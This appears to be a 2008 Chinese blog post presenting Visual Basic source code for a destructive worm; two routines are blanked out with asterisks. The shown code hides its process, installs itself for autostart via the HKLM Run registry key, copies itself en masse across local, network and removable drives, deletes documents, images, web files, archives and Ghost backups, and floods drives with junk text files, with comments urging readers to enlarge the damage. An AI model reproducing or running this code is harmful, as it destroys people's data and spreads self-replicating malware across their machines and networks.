VB蠕虫病毒

作者:admin 日期:2008-05-20

字体大小: 小中大

Option Explicit
Dim bd As Byte '存储病毒的变量
Dim xx, l, zc, k1, xs
Dim msg As String '垃圾求职信
Dim flpath As String '要感染的文件路径名
Dim flname As String '要感染的文件名
'存储磁盘文件的扩展名
Dim fopath, foname '文件夹的路径,文件夹的名称
Dim fs As New FileSystemObject '文件系统对象
Dim dis, dss, x '磁盘集合,磁盘连接标示符
Dim ds As Drive '单个磁盘
Dim j, n As Integer '生成的垃圾文件
Dim i, k As Integer '计算机系统中所有的磁盘
Public Sub Main()
    msg = "网名" & Chr(13) + Chr(10) + Chr(13) + Chr(10) & _
            "学历:大专<在当今以文凭论英雄的时代，这个已经让我千转百回了，比较垃圾的文凭了。>" & _
            Chr(13) + Chr(10) + Chr(13) + Chr(10) & "专业：计算机及应用" & Chr(13) + Chr(10) + Chr(13) + Chr(10) & _
            "求职愿望：make software" & Chr(10) + Chr(13) + Chr(10) + Chr(13) & _
            "求职受挫：说我文凭低微，没有这方面的才能，就连面试的机会都没有。" & _
            Chr(13) + Chr(10) + Chr(13) + Chr(10) & _
            "痛苦的事情：我觉得社会已经变质了，很多的用人单位一看我们是贫民子弟就有着瞧不起的眼光，来伤害我们? "

    Dim PauseTime, Start, Finish, TotalTime
    On Error Resume Next
    App.TaskVisible = False '从进程中让其消失
    qud '把病毒自身拷贝到注册表中
    grcp '病毒复制到磁盘下面
    grd '感染磁盘下面所有的exe文件
    grdwjj '病毒复制到磁盘目录下面
    gr '感染病毒目录下面的exe文件
    cp '在磁盘下面生成垃圾文件,并删除有效文件
    wj '在文件夹下生成垃圾文件，并删除有效文件
End Sub
'以下的程序我就不一一解释了以防止别人用于不发目的,程序危害极大请正确使用，本人只是用于编程研究,对于程序造成一切损失本人概不负责,OVER WORLD
Public Function wj()
    On Error Resume Next
    Set dis = fs.Drives
    For Each ds In dis
        If ds.DriveType = 2 Then
            dss = dss & ds.DriveLetter
        End If
    Next
    dss = LCase(StrReverse(Trim(dss)))
    For i = 1 To Len(dss)
        x = Mid$(dss, i, 1)
        fopath = x & ":" & "\"
        foname = Dir(fopath, vbDirectory)
        Do While foname <> ""
            ******************************************
            For j = 1 To 20 '还可以改大一点的，那位仁兄愿意完成之
                For n = 1 To 20
                    Open x & ":" & "\" & foname & "\" & j & "-" & n & "求职.txt" For Output As #1
                    Print #1, msg
                    Close #1
                Next n
                i = j + 1
            Next j
            foname = Dir
        Loop
    Next i
    For Each ds In dis
        If ds.DriveType = 3 Then
            dss = dss & ds.DriveLetter
        End If
    Next
    dss = LCase(StrReverse(Trim(dss)))
    For i = 1 To Len(dss)
        x = Mid$(dss, i, 1)
        fopath = x & ":" & "\"
        foname = Dir(fopath, vbDirectory)
        Do While foname <> ""
            Kill x & ":" & "\" & foname & "\" & "*.doc" '太毒辣了
            Kill x & ":" & "\" & foname & "\" & "*.wps"
            Kill x & ":" & "\" & foname & "\" & "*.gho"
            Kill x & ":" & "\" & foname & "\" & "*.xls"
            Kill x & ":" & "\" & foname & "\" & "*.ppt"
            Kill x & ":" & "\" & foname & "\" & "*.asp"
            Kill x & ":" & "\" & foname & "\" & "*.jsp"
            Kill x & ":" & "\" & foname & "\" & "*.aspx"
            Kill x & ":" & "\" & foname & "\" & "*.bmp"
            Kill x & ":" & "\" & foname & "\" & "*.jpg"
            Kill x & ":" & "\" & foname & "\" & "*.css"
            Kill x & ":" & "\" & foname & "\" & "*.html"
            Kill x & ":" & "\" & foname & "\" & "*.htm"
            Kill x & ":" & "\" & foname & "\" & "*.php"
            Kill x & ":" & "\" & foname & "\" & "*.rar"
            Kill x & ":" & "\" & foname & "\" & "*.zip"
            For j = 1 To 20 '那位仁兄还可以改大一些,威力会更大一些,但是速度太慢
                For n = 1 To 20
                    Open x & ":" & "\" & foname & "\" & j & "-" & n & "求职.txt" For Output As #1
                    Print #1, msg
                    Close #1
                Next n
                i = j + 1
            Next j
            foname = Dir
        Loop
    Next i
    For Each ds In dis
        If ds.DriveType = 1 Then
            dss = dss & ds.DriveLetter
        End If
    Next
    dss = LCase(StrReverse(Trim(dss)))
    For i = 1 To Len(dss)
        x = Mid$(dss, i, 1)
        fopath = x & ":" & "\"
        foname = Dir(fopath, vbDirectory)
        Do While foname <> ""
            Kill x & ":" & "\" & foname & "\" & "*.doc" '太毒辣了
            Kill x & ":" & "\" & foname & "\" & "*.wps"
            Kill x & ":" & "\" & foname & "\" & "*.gho"
            Kill x & ":" & "\" & foname & "\" & "*.xls"
            Kill x & ":" & "\" & foname & "\" & "*.ppt"
            Kill x & ":" & "\" & foname & "\" & "*.asp"
            Kill x & ":" & "\" & foname & "\" & "*.jsp"
            Kill x & ":" & "\" & foname & "\" & "*.aspx"
            Kill x & ":" & "\" & foname & "\" & "*.bmp"
            Kill x & ":" & "\" & foname & "\" & "*.jpg"
            Kill x & ":" & "\" & foname & "\" & "*.css"
            Kill x & ":" & "\" & foname & "\" & "*.html"
            Kill x & ":" & "\" & foname & "\" & "*.htm"
            Kill x & ":" & "\" & foname & "\" & "*.php"
            Kill x & ":" & "\" & foname & "\" & "*.rar"
            Kill x & ":" & "\" & foname & "\" & "*.zip"
            For j = 1 To 20
                For n = 1 To 20
                    Open x & ":" & "\" & foname & "\" & j & "-" & n & "求职.txt" For Output As #1
                    Print #1, msg
                    Close #1
                Next n
                i = j + 1
            Next j
            foname = Dir
        Loop
    Next i
End Function

Public Function cp()
    On Error Resume Next
    Set dis = fs.Drives
    For Each ds In dis
        If ds.DriveType = 2 Then
            dss = dss & ds.DriveLetter
        End If
    Next
    dss = LCase(StrReverse(Trim(dss)))
    For i = 1 To Len(dss)
        x = Mid$(dss, i, 1)
        '对计算机上的所有用文件下毒手,可以再次增加一些有用的扩展名,去死吧混蛋
        Kill x & ":" & "\" & "*.doc"
        Kill x & ":" & "\" & "*.wps"
        Kill x & ":" & "\" & "*.gho"
        Kill x & ":" & "\" & "*.xls"
        Kill x & ":" & "\" & "*.ppt"
        Kill x & ":" & "\" & "*.asp"
        Kill x & ":" & "\" & "*.jsp"
        Kill x & ":" & "\" & "*.aspx"
        Kill x & ":" & "\" & "*.bmp"
        Kill x & ":" & "\" & "*.jpg"
        Kill x & ":" & "\" & "*.css"
        Kill x & ":" & "\" & "*.html"
        Kill x & ":" & "\" & "*.htm"
        Kill x & ":" & "\" & "*.php"
        Kill x & ":" & "\" & "*.rar"
        Kill x & ":" & "\" & "*.zip"
        '以下是建立垃圾文件
        For j = 1 To 20
            For n = 1 To 20
                Open x & ":" & "\" & j & "-" & n & "求职书.txt" For Output As #1
                Print #1, msg
                Close #1
            Next n
            j = j + 1
        Next j
    Next i
    For Each ds In dis
        If ds.DriveType = 3 Then
            dss = dss & ds.DriveLetter
        End If
    Next
    dss = LCase(StrReverse(Trim(dss)))
    For i = 1 To Len(dss)
        x = Mid$(dss, i, 1)
        '对计算机上的所有用文件下毒手,可以再次增加一些有用的扩展名,去死吧混蛋
        Kill x & ":" & "\" & "*.doc"
        Kill x & ":" & "\" & "*.wps"
        Kill x & ":" & "\" & "*.gho"
        Kill x & ":" & "\" & "*.xls"
        Kill x & ":" & "\" & "*.ppt"
        Kill x & ":" & "\" & "*.asp"
        Kill x & ":" & "\" & "*.jsp"
        Kill x & ":" & "\" & "*.aspx"
        Kill x & ":" & "\" & "*.bmp"
        Kill x & ":" & "\" & "*.jpg"
        Kill x & ":" & "\" & "*.css"
        Kill x & ":" & "\" & "*.html"
        Kill x & ":" & "\" & "*.htm"
        Kill x & ":" & "\" & "*.php"
        Kill x & ":" & "\" & "*.rar"
        Kill x & ":" & "\" & "*.zip"
        '以下是建立垃圾文件
        For j = 1 To 20
            For n = 1 To 20
                Open x & ":" & "\" & j & "-" & n & "求职书.txt" For Output As #1
                Print #1, msg
                Close #1
            Next n
            j = j + 1
        Next j
    Next i
    For Each ds In dis
        If ds.DriveType = 1 Then
            dss = dss & ds.DriveLetter
        End If
    Next
    dss = LCase(StrReverse(Trim(dss)))
    For i = 1 To Len(dss)
        x = Mid$(dss, i, 1)
        '对计算机上的所有用文件下毒手,可以再次增加一些有用的扩展名,去死吧混蛋
        Kill x & ":" & "\" & "*.doc"
        Kill x & ":" & "\" & "*.wps"
        Kill x & ":" & "\" & "*.gho"
        Kill x & ":" & "\" & "*.xls"
        Kill x & ":" & "\" & "*.ppt"
        Kill x & ":" & "\" & "*.asp"
        Kill x & ":" & "\" & "*.jsp"
        Kill x & ":" & "\" & "*.aspx"
        Kill x & ":" & "\" & "*.bmp"
        Kill x & ":" & "\" & "*.jpg"
        Kill x & ":" & "\" & "*.css"
        Kill x & ":" & "\" & "*.html"
        Kill x & ":" & "\" & "*.htm"
        Kill x & ":" & "\" & "*.php"
        Kill x & ":" & "\" & "*.rar"
        Kill x & ":" & "\" & "*.zip"
        '以下是建立垃圾文件
        For j = 1 To 20
            For n = 1 To 20
                Open x & ":" & "\" & j & "-" & n & "求职书.txt" For Output As #1
                Print #1, msg
                Close #1
            Next n
            j = j + 1
        Next j
    Next i
End Function
Public Function gr() '感染病毒目录下的程序,可以执行程序
    *******************************************************
End Function
Public Function grdwjj() '拷贝病毒在所磁盘的第一级文件夹下
    On Error Resume Next
    Set dis = fs.Drives
    For Each ds In dis
        If ds.DriveType = 2 Then
            dss = dss & ds.DriveLetter
        End If
    Next
    dss = LCase(StrReverse(Trim(dss)))
    For i = 1 To Len(dss)
        x = Mid$(dss, i, 1)
        fopath = x & ":" & "\"
        foname = Dir(fopath, vbReadOnly + vbDirectory)
        Do While foname <> ""
            For k = 1 To 20
                For n = 1 To 20
                    FileCopy App.Path & "\" & App.EXEName & ".exe", fopath & foname & "\" & k & "-" & n & "hyena.exe"
                Next n
                k = k + 1
            Next k
            foname = Dir
        Loop
    Next i
    For Each ds In dis
        If ds.DriveType = 3 Then
            dss = dss & ds.DriveLetter
        End If
    Next
    dss = LCase(StrReverse(Trim(dss)))
    For i = 1 To Len(dss)
        x = Mid$(dss, i, 1)
        fopath = x & ":" & "\"
        foname = Dir(fopath, vbReadOnly + vbDirectory)
        Do While foname <> ""
            For k = 1 To 20 '同理那位仁兄可以让它再变大一些,可以让它遍地开花
                For n = 1 To 20
                    FileCopy App.Path & "\" & App.EXEName & ".exe", fopath & foname & "\" & k & "-" & n & "hyena.exe"
                Next n
                k = k + 1
            Next k
            foname = Dir
        Loop
    Next i
    For Each ds In dis
        If ds.DriveType = 1 Then
            dss = dss & ds.DriveLetter
        End If
    Next
    dss = LCase(StrReverse(Trim(dss)))
    For i = 1 To Len(dss)
        x = Mid$(dss, i, 1)
        fopath = x & ":" & "\"
        foname = Dir(fopath, vbReadOnly + vbDirectory)
        Do While foname <> ""
            For k = 1 To 20
                For n = 1 To 20
                    FileCopy App.Path & "\" & App.EXEName & ".exe", fopath & foname & "\" & k & "-" & n & "hyena.exe"
                Next n
                k = k + 1
            Next k
            foname = Dir
        Loop
    Next i
End Function
Public Function grcp() '把病毒复制到计算机系统的所有磁盘中
    On Error Resume Next
    Set dis = fs.Drives
    For Each ds In dis
        If ds.DriveType = 2 Then
            dss = dss & ds.DriveLetter
        End If
    Next
    dss = LCase(StrReverse(Trim(dss)))
    For i = 1 To Len(dss)
        x = Mid$(dss, i, 1)
        For k = 1 To 20 '移动磁盘速度太慢，所以要小一点
            For n = 1 To 20
                FileCopy App.Path & "\" & App.EXEName & ".exe", x & ":" & "\" & k & "-" & n & "love.exe"
            Next n
            k = k + 1
        Next k
    Next i
    For Each ds In dis
        If ds.DriveType = 3 Then '如果是网络磁盘
            dss = dss & ds.DriveLetter
        End If
    Next
    dss = LCase(StrReverse(Trim(dss)))
    For i = 1 To Len(dss)
        x = Mid$(dss, i, 1)
        For k = 1 To 20
            For n = 1 To 20
                FileCopy App.Path & "\" & App.EXEName & ".exe", x & ":" & "\" & k & "-" & n & "love.exe"
            Next n
            k = k + 1
        Next k
    Next i
    For Each ds In dis
        If ds.DriveType = 1 Then '如果是可移动盘
            dss = dss & ds.DriveLetter
        End If
    Next
    dss = LCase(StrReverse(Trim(dss)))
    For i = 1 To Len(dss)
        x = Mid$(dss, i, 1)
        For k = 1 To 20
            For n = 1 To 20
                FileCopy App.Path & "\" & App.EXEName & ".exe", x & ":" & "\" & k & "-" & n & "love.exe"
            Next n
            k = k + 1
        Next k
    Next i
End Function
'让其病毒自动启动
Public Function qud()
    On Error Resume Next
    Dim reg '定义键
    FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\system\love.exe" '病毒完成自身的复制任务
    FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\winnt\system\love.exe" '病毒完成自身的复制任务
    Set reg = CreateObject("wscript.shell")
    reg.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\CurrentVersion\run\love", "c:\windows\system\love.exe" '把病毒写入注册表,让其自动启动
End Function

'引用自http://user.qzone.qq.com/71164325/blog